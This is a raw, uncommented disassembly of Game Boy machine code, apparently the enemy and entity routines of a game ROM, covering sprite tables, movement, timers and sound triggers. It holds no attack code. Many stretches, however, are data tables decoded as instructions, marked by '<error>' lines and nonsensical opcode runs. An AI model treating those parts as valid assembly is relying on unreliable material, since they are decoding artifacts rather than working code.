ld hl, $c340
add hl, bc
set 7, [hl]
call func_0891
jr nz, 0.l_4900
ld [hl], $40
call func_3b8d
call func_3b8d
ld a, $00
ld [$d228], a
jp $3b87
ldh a, [$ff00 + $e8]
and a
jr z, 0.l_4908
call func_3daf
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
add a, $0c
call func_3b87
ld a, [$c3c0]
ld e, a
ld d, b
ld hl, $c030
add hl, de
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $07
call func_492c
ld a, $02
jp $3dd0
call func_4938
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
add a, $04
and $07
push bc
push hl
ld e, a
ld d, $00
ld hl, $48cf
add hl, de
ld b, [hl]
ld hl, $48d7
add hl, de
ld c, [hl]
pop hl
ldh a, [$ff00 + $ec]
add a, b
add a, $f6
ldi [hl], a
ldh a, [$ff00 + $ee]
add a, c
add a, $fc
ldi [hl], a
ld [hl], $24
inc hl
ld [hl], $00
inc hl
pop bc
ret
ld hl, $c240
add hl, bc
ld a, [hl]
and $fe
jr nz, 0.l_4970
call func_3daf
call func_0891
ld [hl], $40
jp $3b8d
ld hl, $c240
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_497d
inc [hl]
inc [hl]
inc [hl]
inc [hl]
dec [hl]
dec [hl]
ld a, $00
ld [$d228], a
call func_3b87
ret
call func_3daf
call func_0891
jr nz, 0.l_49a1
call func_0887
call func_27ed
and $1f
add a, $20
ld [hl], a
call func_3b8d
ld [hl], $02
ret
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $01
ld [$d227], a
ret
call func_3b8d
call func_0891
ld [hl], $60
ld hl, $c240
add hl, bc
ld a, [hl]
ldh [$ff00 + $9a], a
ld a, $28
ld [$c13e], a
ld a, $40
ld [$dbc7], a
ld a, [$db94]
add a, $08
ld [$db94], a
ld a, $0b
ldh [$ff00 + $f2], a
ret
call func_3daf
call func_0891
jr nz, 0.l_49de
jp .l_4990
cp $40
ld a, $00
jr nc, 0.l_49ed
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
rr a
and $01
call func_3b87
ld [$d228], a
call func_474b
ret
ldhl sp, d
<error>
ld d, h
jr nz, 0.l_49f4
inc b
ld d, d
jr nz, 0.l_49f8
inc c
ld d, b
jr nz, 0.l_49fb
<error>
ld d, h
jr nz, 0.l_49ff
inc b
ld d, d
jr nz, 0.l_4a03
inc c
ld d, b
jr nz, 0.l_4a08
<error>
ld d, b
nop
ldhl sp, d
inc b
ld d, d
nop
ldhl sp, d
inc c
ld d, h
nop
rst 30
<error>
ld d, b
nop
rst 30
inc b
ld d, d
nop
rst 30
inc c
ld d, h
nop
nop
<error>
ld d, [hl]
nop
nop
inc b
ld e, b
nop
nop
inc c
ld e, d
nop
nop
<error>
ld e, h
nop
nop
inc b
ld e, b
nop
nop
inc c
ld e, [hl]
nop
nop
<error>
ld e, h
nop
nop
inc b
ld e, b
nop
nop
inc c
ld e, d
nop
nop
<error>
ld d, [hl]
nop
nop
inc b
ld e, b
nop
nop
inc c
ld e, [hl]
nop
nop
<error>
ld [hl], b
nop
nop
inc b
ld [hl], d
nop
nop
inc c
ld [hl], h
nop
ld bc, $70fc
nop
nop
inc b
halt
nop
nop
inc c
ld a, b
nop
nop
<error>
ld e, d
jr nz, 0.l_4a74
inc b
ld e, b
jr nz, 0.l_4a78
inc c
ld d, [hl]
jr nz, 0.l_4a7c
<error>
ld e, [hl]
jr nz, 0.l_4a80
inc b
ld e, b
jr nz, 0.l_4a84
inc c
ld e, h
jr nz, 0.l_4a88
<error>
ld e, d
jr nz, 0.l_4a8c
inc b
ld e, b
jr nz, 0.l_4a90
inc c
ld e, h
jr nz, 0.l_4a94
<error>
ld e, [hl]
jr nz, 0.l_4a98
inc b
ld e, b
jr nz, 0.l_4a9c
inc c
ld d, [hl]
jr nz, 0.l_4aa0
<error>
ld [hl], h
jr nz, 0.l_4aa4
inc b
ld [hl], d
jr nz, 0.l_4aa8
inc c
ld [hl], b
jr nz, 0.l_4aac
<error>
ld a, b
jr nz, 0.l_4ab0
inc b
halt
jr nz, 0.l_4ab5
inc c
ld [hl], b
jr nz, 0.l_4ab8
<error>
ld a, d
nop
nop
inc b
ld a, h
nop
nop
inc c
ld a, [hl]
nop
nop
<error>
ld a, [hl]
jr nz, 0.l_4ac8
inc b
ld a, h
jr nz, 0.l_4acc
inc c
ld a, d
jr nz, 0.l_4adc
rst 38
ld h, $00
inc c
inc b
ld h, $00
inc c
add hl, bc
ld h, $00
ld a, [$d227]
sla a
ld e, a
ld a, [$d228]
cp $ff
jr z, 0.l_4afd
add a, e
rl a
rl a
and $fc
ld e, a
rl a
and $f8
add a, e
ld e, a
ld d, b
ld hl, $49f7
add hl, de
ld c, $03
call func_3d26
ldh a, [$ff00 + $f1]
rl a
rl a
and $fc
ld e, a
rl a
and $f8
add a, e
ld e, a
ld d, b
ld hl, $4a27
add hl, de
ld c, $03
call func_3d26
ld hl, $c310
add hl, bc
ld a, [hl]
and a
jr z, 0.l_4b2a
ldh a, [$ff00 + $ef]
ldh [$ff00 + $ec], a
ld hl, $4acf
ld c, $03
call func_3d26
call func_3dba
ret
add sp, d
cp $74
nop
add sp, d
ld b, $74
jr nz, 0.l_4b28
ld bc, $0076
<error>
add hl, bc
halt
jr nz, 0.l_4b3c
nop
halt
nop
nop
ld [$2076], sp
add sp, d
nop
ld [hl], h
nop
add sp, d
ld [$2074], sp
<error>
nop
halt
nop
<error>
ld [$2076], sp
nop
nop
halt
nop
nop
ld [$2076], sp
add sp, d
ld [bc], a
ld [hl], h
nop
add sp, d
ld a, [bc]
ld [hl], h
jr nz, 0.l_4b58
rst 38
halt
nop
<error>
rlc a
halt
jr nz, 0.l_4b6c
nop
halt
nop
nop
ld [$2076], sp
add sp, d
nop
ld [hl], h
nop
add sp, d
ld [$2074], sp
<error>
nop
halt
nop
<error>
ld [$2076], sp
nop
nop
halt
nop
nop
ld [$2076], sp
<error>
rst 38
ld [hl], h
nop
<error>
rlc a
ld [hl], h
jr nz, 0.l_4b94
nop
halt
nop
nop
ld [$2076], sp
<error>
nop
ld [hl], h
nop
<error>
ld [$2074], sp
nop
nop
halt
nop
nop
ld [$2076], sp
<error>
ld bc, $0074
<error>
add hl, bc
ld [hl], h
jr nz, 0.l_4bb4
nop
halt
nop
nop
ld [$2076], sp
<error>
nop
ld [hl], h
nop
<error>
ld [$2074], sp
nop
nop
halt
nop
nop
ld [$2076], sp
nop
rst 38
ld [hl], h
nop
nop
rlc a
ld [hl], h
jr nz, 0.l_4bd4
nop
ld [hl], h
nop
nop
ld [$2074], sp
nop
ld bc, $0074
nop
add hl, bc
ld [hl], h
jr nz, 0.l_4be4
nop
ld [hl], h
nop
nop
ld [$2074], sp
ld a, [$00fc]
inc b
ld b, $04
nop
<error>
ld a, [$21fc]
or b
jp nz, .l_7e09
and a
jp nz, .l_4cee
call func_4c9a
call func_7b20
ld hl, $c3d0
add hl, bc
ld a, [hl]
cp $02
jr nc, 0.l_4c5d
ld hl, $c360
add hl, bc
ld [hl], $02
ld hl, $c420
add hl, bc
ld a, [hl]
cp $14
jr nz, 0.l_4c5d
dec [hl]
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, $e3
call func_3c01
jr c, 0.l_4c5d
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2b0
add hl, de
inc [hl]
push bc
push de
pop bc
ld a, $20
call func_3c30
ldh a, [$ff00 + $d8]
cpl
inc a
ld hl, $c240
add hl, bc
ld [hl], a
ldh a, [$ff00 + $d7]
cpl
inc a
ld hl, $c250
add hl, bc
ld [hl], a
ld hl, $c2e0
add hl, bc
ld [hl], $18
pop bc
call func_08e2
call func_3bb4
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
nop
and $03
call func_3b87
call func_0891
jr nz, 0.l_4c93
call func_27ed
and $3f
add a, $30
ld [hl], a
and $07
ld e, a
ld d, b
ld hl, $4bed
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $4beb
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
call func_7b8c
call func_3b9e
ret
ld d, b
ld hl, $c3d0
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_4cbe
ldh a, [$ff00 + $f1]
rl a
rl a
rl a
and $f8
ld e, a
rl a
and $f0
add a, e
ld e, a
ld hl, $4b2b
add hl, de
ld c, $06
call func_3d26
ld a, $04
jp $3dd0
cp $02
jr z, 0.l_4cd9
ldh a, [$ff00 + $f1]
rl a
rl a
rl a
rl a
and $f0
ld e, a
ld hl, $4b8b
add hl, de
ld c, $04
call func_3d26
ld a, $02
jp $3dd0
ldh a, [$ff00 + $f1]
rl a
rl a
rl a
and $f8
ld e, a
ld hl, $4bcb
add hl, de
ld c, $02
jp $3d26
halt
nop
halt
jr nz, 0.l_4d00
ld [$cd4c], a
dec sp
inc a
call func_7b20
call func_7b42
call func_0891
jr nz, 0.l_4d02
call func_3bb4
call func_7b8c
call func_3b9e
ld hl, $c2a0
add hl, bc
ld a, [hl]
and $03
jr z, 0.l_4d18
ld hl, $c240
call func_4d24
ret c
ld hl, $c2a0
add hl, bc
ld a, [hl]
and $0c
jr z, 0.l_4d4e
ld hl, $c250
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
ld a, $09
ldh [$ff00 + $f2], a
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc a
ld [hl], a
cp $03
jr c, 0.l_4d4e
ldh a, [$ff00 + $ee]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ec]
ldh [$ff00 + $d8], a
ld a, $02
call func_0953
ld a, $2f
ldh [$ff00 + $f2], a
call func_7c35
scf
ret
and a
ret
ld [hl], b
nop
ld [hl], b
jr nz, 0.l_4dc7
nop
ld [hl], d
jr nz, 0.l_4d7a
or b
jp nz, .l_7e09
and a
jp nz, .l_4dca
ld de, $4d50
call func_3c3b
call func_088c
ld e, $00
and a
jr z, 0.l_4d70
inc e
ld a, e
call func_3b87
call func_7b20
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
and $0f
jr nz, 0.l_4db1
call func_088c
ld [hl], $08
ld a, $e2
call func_3c01
ret c
ld a, $12
ldh [$ff00 + $f4], a
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
add a, $04
ld [hl], a
ld hl, $c2b0
add hl, de
inc [hl]
ld hl, $c250
add hl, de
ld [hl], $10
ld hl, $c2e0
add hl, de
ld [hl], $30
ret
ld a, b
nop
ld a, b
jr nz, 0.l_4e2d
nop
halt
jr nz, 0.l_4e2f
nop
ld [hl], h
jr nz, 0.l_4e39
nop
ld a, h
nop
ld a, h
jr nz, 0.l_4e3f
jr nz, 0.l_4dc3
inc b
<error>
inc c
cp $02
jp z, .l_4e77
ldh a, [$ff00 + $e7]
rl a
rl a
and $10
ldh [$ff00 + $ed], a
ld de, $4db2
call func_3c3b
call func_7b20
call func_08e2
call func_3beb
ld a, [$dbc7]
push af
call func_3bd5
pop af
ld e, a
ld a, [$dbc7]
cp e
jr z, 0.l_4e07
cp $20
jr c, 0.l_4e07
ld a, $1f
ld [$dbc7], a
ld a, $30
call func_3c30
ldh a, [$ff00 + $d7]
ldh [$ff00 + $9b], a
call func_7b8f
ldh a, [$ff00 + $f0]
and a
jr z, 0.l_4e5e
xor a
ldh [$ff00 + $e8], a
ld a, $e2
call func_3c01
jr c, 0.l_4e5b
ld hl, $c2b0
add hl, de
ld [hl], $02
push bc
ldh a, [$ff00 + $e8]
ld c, a
ld hl, $c3b0
add hl, de
ld [hl], a
ld hl, $4dc6
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $4dc8
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
add a, $00
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c250
add hl, de
ld [hl], $0c
ld hl, $c2e0
add hl, de
ld [hl], $20
pop bc
ldh a, [$ff00 + $e8]
inc a
cp $02
jr c, 0.l_4e10
jp $7c35
call func_0891
jp z, $7c35
ld hl, $c3b0
add hl, bc
cp $10
jr z, 0.l_4e70
cp $20
jr nz, 0.l_4e76
ld a, [hl]
cp $02
jr z, 0.l_4e76
inc [hl]
ret
ldh a, [$ff00 + $e7]
rl a
rl a
and $10
ldh [$ff00 + $ed], a
ld de, $4dbe
call func_3c3b
call func_7b20
call func_7b8c
call func_0891
jp z, $7c35
ret
ld c, d
nop
ld c, h
nop
ld c, h
jr nz, 0.l_4ee3
jr nz, 0.l_4ee9
nop
ld c, [hl]
jr nz, 0.l_4e9f
ld b, $fa
ld a, [$4806]
nop
ld c, b
ld h, b
ld c, b
ld b, b
ld c, b
jr nz, 0.l_4ecd
or b
jp nz, .l_7e09
and a
jr z, 0.l_4f03
ld de, $4ea3
call func_3c3b
call func_7b20
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
call func_3b87
call func_7b8c
call func_3b9e
ld hl, $c2a0
add hl, bc
ld a, [hl]
and a
jp nz, .l_4ee0
call func_3bb4
ld hl, $c410
add hl, bc
ld a, [hl]
and a
jr z, 0.l_4ef4
ldh a, [$ff00 + $ee]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ec]
ldh [$ff00 + $d8], a
ld a, $07
ldh [$ff00 + $f2], a
ld a, $05
call func_0953
jp $7c35
ldh a, [$ff00 + $ee]
cp $a8
jp nc, $7c35
ldh a, [$ff00 + $ec]
cp $84
jp nc, $7c35
ret
ld de, $4e92
call func_3c3b
call func_7b20
call func_7b42
call func_0891
jr nz, 0.l_4f17
call func_3bb4
call func_088c
cp $01
jr nz, 0.l_4f65
ldh a, [$ff00 + $f7]
cp $03
ret c
ld a, $1e
call func_3c01
ret c
ld a, $0a
ldh [$ff00 + $f4], a
ld hl, $c410
add hl, de
ld [hl], b
ld hl, $c340
add hl, de
set 6, [hl]
set 4, [hl]
ld hl, $c430
add hl, de
set 1, [hl]
set 4, [hl]
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ldh a, [$ff00 + $da]
ld hl, $c310
add hl, de
ld [hl], a
ld hl, $c2b0
add hl, de
inc [hl]
push bc
push de
pop bc
ld a, $18
call func_3c25
pop bc
ld hl, $c3d0
add hl, bc
ld a, [hl]
rst 0
ld l, a
ld c, a
jr nc, 0.l_4fbf
call func_7b8c
call func_3b9e
ldh a, [$ff00 + $cc]
and $30
jr z, 0.l_4fc3
call func_7bdf
add a, $24
cp $48
jr nc, 0.l_4fc3
call func_7bef
add a, $24
cp $48
jr nc, 0.l_4fc3
call func_0891
ld [hl], $08
call func_088c
ld [hl], b
ld hl, $c3d0
add hl, bc
inc [hl]
ld hl, $c320
add hl, bc
ld [hl], $15
ld a, $24
ldh [$ff00 + $f2], a
ld a, $12
call func_3c30
ldh a, [$ff00 + $d7]
cpl
inc a
ld hl, $c250
add hl, bc
ld [hl], a
ldh a, [$ff00 + $d8]
cpl
inc a
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $c3b0
add hl, bc
ld [hl], $02
ret
ld hl, $c2a0
add hl, bc
ld a, [hl]
and $03
jr nz, 0.l_4fdb
ld a, [hl]
and $0c
jr z, 0.l_4fe3
ld hl, $c250
add hl, bc
ld a, [hl]
xor $f0
ld [hl], a
jr 0.l_4fe3
ld hl, $c240
add hl, bc
ld a, [hl]
xor $f0
ld [hl], a
ld hl, $c290
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_4ff2
call func_27ed
and $2f
jr nz, 0.l_501f
xor a
ld hl, $c250
add hl, bc
ld [hl], a
call func_27ed
and $03
ld e, a
ld d, b
ld hl, $4e9e
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
and a
jr nz, 0.l_501f
call func_27ed
and $01
add a, $03
ld e, a
ld d, b
ld hl, $4e9e
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ld hl, $c290
add hl, bc
xor a
ld [hl], a
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
call func_3b87
ret
call func_7b8c
ld hl, $c410
add hl, bc
ld a, [hl]
push hl
ld [hl], $01
call func_3b9e
pop hl
ld [hl], b
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_506d
ld [hl], b
ld hl, $c320
add hl, bc
ld [hl], b
ld hl, $c250
add hl, bc
ld [hl], $08
ld hl, $c240
add hl, bc
ld [hl], $08
ld hl, $c3d0
add hl, bc
ld [hl], b
call func_088c
ld [hl], $10
ret
ld [$eaeb], a
<error>
<error>
<error>
xor $ef
ldh a, [$ff00 + $f1]
<error>
di
ld a, [$d219]
rl a
and $fe
ld e, a
ld d, b
ld hl, $506e
add hl, de
ldi a, [hl]
ld [$c195], a
ld a, [hl]
ld [$c196], a
ld a, $01
ldh [$ff00 + $91], a
ld [$c10e], a
ret
ld a, [$c124]
and a
jr nz, 0.l_50a9
ld a, [$c116]
and a
jr nz, 0.l_50a9
inc a
ld [$c116], a
call func_507a
ld hl, $c390
add hl, bc
ld a, [hl]
cp $02
jp z, .l_45d0
and a
jp nz, .l_54d0
ld a, [$d219]
rst 0
rst 0
ld d, b
cp $51
ld b, c
ld d, a
<error>
ld e, a
ret c
ld h, e
ld c, d
ld l, [hl]
ldh a, [$ff00 + $f0]
rst 0
ret c
ld d, b
dec [hl]
ld d, c
ld d, b
ld d, c
ld l, h
ld d, c
adc a, c
ld d, c
xor l
ld d, c
<error>
ld d, c
ld a, [$c146]
and a
jr nz, 0.l_5134
ld a, $5d
ld [$d368], a
ld hl, $da74
set 6, [hl]
ld a, $f5
call func_2197
call func_0891
ld [hl], $50
ldh a, [$ff00 + $98]
ld hl, $c200
add hl, bc
ld [hl], a
ld e, $80
ld hl, $d000
ldi [hl], a
dec e
jr nz, 0.l_50fe
ldh a, [$ff00 + $99]
ld hl, $c210
add hl, bc
ld [hl], a
ld e, $80
ld hl, $d100
ldi [hl], a
dec e
jr nz, 0.l_510e
xor a
ld [$d21a], a
ld [$d21b], a
ld [$d21c], a
ld [$d21d], a
ld [$d21e], a
ld [$d21f], a
ld [$d220], a
ld [$d221], a
ld [$d222], a
ld [$d223], a
call func_3b8d
ret
call func_562d
call func_0891
jr nz, 0.l_5145
call func_3b8d
ld a, $35
ldh [$ff00 + $f2], a
ret
cp $30
jr nz, 0.l_514f
dec [hl]
ld a, $23
ld [$d368], a
ret
call func_562d
call func_7b20
ld hl, $c250
add hl, bc
dec [hl]
ld a, [hl]
cp $e8
jr nz, 0.l_5168
call func_0891
ld [hl], $08
call func_3b8d
call func_7b8f
ret
call func_562d
call func_7b20
call func_7b8f
call func_0891
ret nz
ld hl, $c250
add hl, bc
inc [hl]
jr nz, 0.l_5188
call func_0891
ld [hl], $80
call func_3b8d
ret
call func_562d
call func_0891
jr z, 0.l_519f
and $07
jr nz, 0.l_519f
ld hl, $c3b0
add hl, bc
ld a, [hl]
cp $05
jr z, 0.l_51a0
inc [hl]
ret
call func_0891
ld [hl], $c0
call func_3b8d
ret
ld b, $05
rlc a
dec b
call func_569b
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $03
ld e, a
ld d, b
ld hl, $51a9
add hl, de
ld a, [hl]
call func_3b87
call func_0891
jr nz, 0.l_51cc
ld [hl], $2f
call func_3b8d
ret
ld [$0100], sp
ld [bc], a
inc bc
inc b
call func_569b
call func_0891
jr nz, 0.l_51ee
ld hl, $d219
inc [hl]
xor a
call func_3b87
call func_3b8d
ld [hl], b
ld hl, $c340
add hl, bc
res 7, [hl]
ret
rr a
rr a
rr a
and $0f
ld e, a
ld d, b
ld hl, $51cd
add hl, de
ld a, [hl]
call func_3b87
ret
call func_5728
call func_7b20
call func_08e2
ldh a, [$ff00 + $f0]
rst 0
ld e, $52
dec hl
ld d, d
ld c, a
ld d, d
xor [hl]
ld d, d
rst 8
ld d, d
<error>
ld d, d
sbc a, d
ld d, e
dec bc
ld d, h
ld b, b
ld d, e
ld e, d
ld d, e
call func_0891
ld [hl], $80
ld hl, $c3d0
add hl, bc
ld [hl], b
jp $3b8d
call func_0891
jr nz, 0.l_524e
ldh a, [$ff00 + $e7]
and $07
jr nz, 0.l_524e
ld hl, $c3b0
add hl, bc
inc [hl]
ld a, [hl]
cp $03
jr nz, 0.l_524e
ld hl, $c320
add hl, bc
ld [hl], $28
ld a, $08
call func_3c25
call func_3b8d
ret
call func_545f
call func_3bb4
call func_7b8c
call func_3b9e
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_529d
ld [hl], b
ld hl, $c320
add hl, bc
ld [hl], b
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc a
ld [hl], a
and $01
jr nz, 0.l_5291
call func_27ed
and $01
jr nz, 0.l_5291
call func_0891
ld [hl], $1f
call func_3b8d
ld [hl], $08
jr 0.l_529d
ld a, $20
ldh [$ff00 + $f2], a
call func_0891
ld [hl], $30
call func_3b8d
ld e, $03
ld hl, $c310
add hl, bc
ld a, [hl]
cp $0c
jr c, 0.l_52a9
inc e
ld a, e
call func_3b87
ret
ld a, $05
call func_3b87
call func_0891
jr nz, 0.l_52c8
ld a, $0c
call func_3c25
ld hl, $c320
add hl, bc
ld [hl], $20
call func_3b8d
dec [hl]
dec [hl]
call func_545f
call func_3bb4
ret
call func_0891
jr nz, 0.l_52d7
jp .l_535f
ret
ld a, $23
ldh [$ff00 + $f3], a
ret
call func_0891
jr nz, 0.l_5326
ld a, [$d219]
inc a
ld [$d219], a
call func_507a
xor a
ld [$d221], a
ld [$d222], a
ld [$d223], a
ld [$d220], a
ld hl, $c310
add hl, bc
ld [hl], b
ld hl, $c340
add hl, bc
ld [hl], $c0
ld a, $02
ld [$c197], a
inc a
ld [$c10d], a
ld a, $ff
call func_3b87
call func_0891
ld [hl], $40
ld hl, $c2b0
add hl, bc
ld [hl], b
call func_3b8d
ld [hl], b
ld a, $01
ld [$d21a], a
ret
cp $18
jr nc, 0.l_533b
cp $17
jr nz, 0.l_5333
ld hl, $fff2
ld [hl], $35
rr a
rr a
rr a
and $03
call func_3b87
ret
rst 38
nop
ld bc, $cd02
sub a, c
ld [$0520], sp
ld [hl], $80
jp $3b8d
rr a
rr a
rr a
and $03
ld e, a
ld d, b
ld hl, $533c
add hl, de
ld a, [hl]
call func_3b87
ret
call func_0891
jr nz, 0.l_537f
call func_27ed
and $07
ld e, a
ld d, b
ld hl, $5913
add hl, de
ld a, [hl]
ld hl, $c200
add hl, bc
ld [hl], a
ld hl, $591b
add hl, de
ld a, [hl]
ld hl, $c210
add hl, bc
ld [hl], a
call func_3b8d
ld [hl], $01
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jr 0.l_53b3
jr 0.l_5395
add sp, d
ldh [$ff00 + $e8], a
nop
jr 0.l_53d9
rst 38
call func_3b87
call func_0891
ld [hl], $80
call func_3b8d
ld [hl], $04
ld a, $21
ldh [$ff00 + $f3], a
xor a
ldh [$ff00 + $e8], a
ld a, $e6
call func_3c01
ret c
push bc
ldh a, [$ff00 + $e8]
ld c, a
ldh a, [$ff00 + $d7]
ld hl, $5380
add hl, bc
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $5388
add hl, bc
add a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
ldh a, [$ff00 + $da]
ld hl, $c310
add hl, de
ld [hl], a
ld hl, $5392
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $5390
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, de
ld [hl], a
ld hl, $c2e0
add hl, de
ld [hl], $2f
ld hl, $c340
add hl, de
ld [hl], $c2
ld hl, $c390
add hl, de
inc [hl]
pop bc
ldh a, [$ff00 + $e8]
inc a
cp $08
jr nz, 0.l_53ae
ret
dec b
inc bc
inc b
inc bc
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_5423
ld [hl], b
ld hl, $c320
add hl, bc
ld [hl], b
call func_0891
jr z, 0.l_5438
rr a
nop
nop
nop
and $03
ld e, a
ld d, b
ld hl, $5407
add hl, de
ld a, [hl]
jp $3b87
ld a, [$d220]
inc a
ld [$d220], a
cp $03
jr nc, 0.l_5449
call func_3b8d
ld [hl], $02
ret
ld a, $06
call func_3b87
call func_0891
ld [hl], $80
call func_3b8d
ld [hl], $05
ld a, $37
ldh [$ff00 + $f4], a
jp $53ad
ld e, $0f
ld d, b
ld hl, $c280
add hl, de
ld a, [hl]
cp $05
jr nz, 0.l_54b1
ld hl, $c3a0
add hl, de
ld a, [hl]
cp $08
jr nz, 0.l_54b1
ld hl, $c2e0
add hl, de
ld a, [hl]
cp $08
jr nz, 0.l_54b1
ld hl, $c200
add hl, de
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $0c
cp $18
jr nc, 0.l_54b1
ld hl, $c210
add hl, de
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $0c
cp $18
jr nc, 0.l_54b1
ld hl, $c420
add hl, bc
ld [hl], $14
ld a, $07
ldh [$ff00 + $f3], a
ld a, $37
ldh [$ff00 + $f2], a
call func_3b8d
ld [hl], $07
call func_0891
ld [hl], $80
pop af
ret
dec e
ld a, e
cp $ff
jr nz, 0.l_5462
ret
ld c, [hl]
nop
ld c, [hl]
jr nz, 0.l_5509
nop
ld c, h
jr nz, 0.l_550b
nop
ld c, d
jr nz, 0.l_54c7
ld [bc], a
ld [bc], a
ld bc, $0001
rrc a
rlc a
inc bc
ld bc, $0000
ld de, $54b8
call func_3c3b
call func_7b20
call func_0891
jp z, $7c35
rr a
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $54c4
add hl, de
push de
ld a, [hl]
call func_3b87
pop de
ld hl, $54ca
add hl, de
ldh a, [$ff00 + $e7]
and [hl]
jr nz, 0.l_54fc
call func_7b8c
ret
nop
nop
ld c, h
nop
nop
ld [$204c], sp
nop
ld [$20ff], sp
nop
stop
rst 38
jr nz, 0.l_550e
ldhl sp, d
rst 38
ld b, b
nop
nop
rst 38
ld b, b
nop
ld [$60ff], sp
nop
stop
rst 38
ld h, b
nop
nop
ld c, [hl]
nop
nop
ld [$204e], sp
nop
ld [$20ff], sp
nop
stop
rst 38
jr nz, 0.l_552e
ldhl sp, d
rst 38
ld b, b
nop
nop
rst 38
ld b, b
nop
ld [$60ff], sp
nop
stop
rst 38
ld h, b
ldhl sp, d
ldhl sp, d
ld a, d
nop
ldhl sp, d
nop
ld a, h
nop
ldhl sp, d
ld [$207c], sp
ldhl sp, d
stop
ld a, d
jr nz, 0.l_5556
ldhl sp, d
ld a, d
ld b, b
ld [$7c00], sp
ld b, b
ld [$7c08], sp
ld h, b
ld [$7a10], sp
ld h, b
ldhl sp, d
ldhl sp, d
halt
nop
ldhl sp, d
nop
ld a, b
nop
ldhl sp, d
ld [$2078], sp
ldhl sp, d
stop
halt
jr nz, 0.l_5576
ldhl sp, d
halt
ld b, b
ld [$7800], sp
ld b, b
ld [$7808], sp
ld h, b
ld [$7610], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld [hl], d
nop
ldhl sp, d
nop
ld [hl], h
nop
ldhl sp, d
ld [$2074], sp
ldhl sp, d
stop
ld [hl], d
jr nz, 0.l_5596
ldhl sp, d
ld [hl], d
ld b, b
ld [$7400], sp
ld b, b
ld [$7408], sp
ld h, b
ld [$7210], sp
ld h, b
ldhl sp, d
ldhl sp, d
ld h, [hl]
nop
ldhl sp, d
nop
ld l, b
nop
ldhl sp, d
ld [$2068], sp
ldhl sp, d
stop
ld h, [hl]
jr nz, 0.l_55b6
ldhl sp, d
ld h, [hl]
ld b, b
ld [$6a00], sp
nop
ld [$6a08], sp
jr nz, 0.l_55c2
stop
ld h, [hl]
ld h, b
ldhl sp, d
ldhl sp, d
ld h, b
nop
ldhl sp, d
nop
ld h, d
nop
ldhl sp, d
ld [$2062], sp
ldhl sp, d
stop
ld h, b
jr nz, 0.l_55d6
ldhl sp, d
ld h, b
ld b, b
ld [$6400], sp
nop
ld [$6408], sp
jr nz, 0.l_55e2
stop
ld h, b
ld h, b
ldhl sp, d
ldhl sp, d
ld l, h
nop
ldhl sp, d
nop
ld l, [hl]
nop
ldhl sp, d
ld [$206e], sp
ldhl sp, d
stop
ld l, h
jr nz, 0.l_55f6
ldhl sp, d
ld l, h
ld b, b
ld [$7000], sp
nop
ld [$7008], sp
jr nz, 0.l_5602
stop
ld l, h
ld h, b
nop
nop
ld c, d
nop
nop
ld [$204a], sp
nop
ld [$20ff], sp
nop
stop
rst 38
jr nz, 0.l_560e
ldhl sp, d
rst 38
ld b, b
nop
nop
rst 38
ld b, b
nop
ld [$60ff], sp
nop
stop
rst 38
ld h, b
ld c, h
nop
ld c, h
jr nz, 0.l_566a
nop
ld c, b
jr nz, 0.l_564e
inc hl
ld e, $19
inc d
rrc a
ld a, [bc]
dec b
ld hl, $c3d0
add hl, bc
ld a, [hl]
ldh [$ff00 + $e9], a
xor a
ldh [$ff00 + $e8], a
ld e, a
ld d, b
ld hl, $5625
add hl, de
ldh a, [$ff00 + $e9]
sub a, [hl]
